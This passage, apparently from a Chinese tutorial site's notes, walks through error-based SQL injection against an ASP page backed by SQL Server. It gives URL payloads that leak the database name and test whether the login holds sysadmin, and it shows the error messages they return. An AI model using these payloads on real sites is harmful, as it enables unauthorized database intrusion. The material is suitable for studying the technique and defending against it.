article_show.asp?ID=(DB_NAME())
Microsoft OLE DB Provider for ODBC Drivers 错误 ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ''''sitelog'''' 转换为数据类型为 int 的列时发生语法错误。
测试当前用户是否为“sysadmin”组成员
SELECT IS_SRVROLEMEMBER(''''sysadmin'''')这句SQL语句可用来测试当前登录的用户是否为sysadmin的服务器角色,如果是将返回值1,不是的话返回值0。这里要将其转变为字符型数据才能看到具体数值。因此写下面的URL:(其中char(115)为字符’s’,%2B为加号(+)的UTF-8编码。)
article_show.asp?ID=(SELECT CHAR(115) %2B CAST(IS_SRVROLEMEMBER(''''sysadmin'''') AS VARCHAR(2)))
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ''''s0'''' 转换为数据类型为 int 的列时发生语法错误。
如果显示s0则不是’sysadmin’组成员,如果是’1’是’sysadmin’
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >>
Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved. 闵涛 E_mail:admin@mintao.net(欢迎提供学习资源)
鄂公网安备 42011102001154号
站长:MinTao ICP备案号:鄂ICP备11006601号-18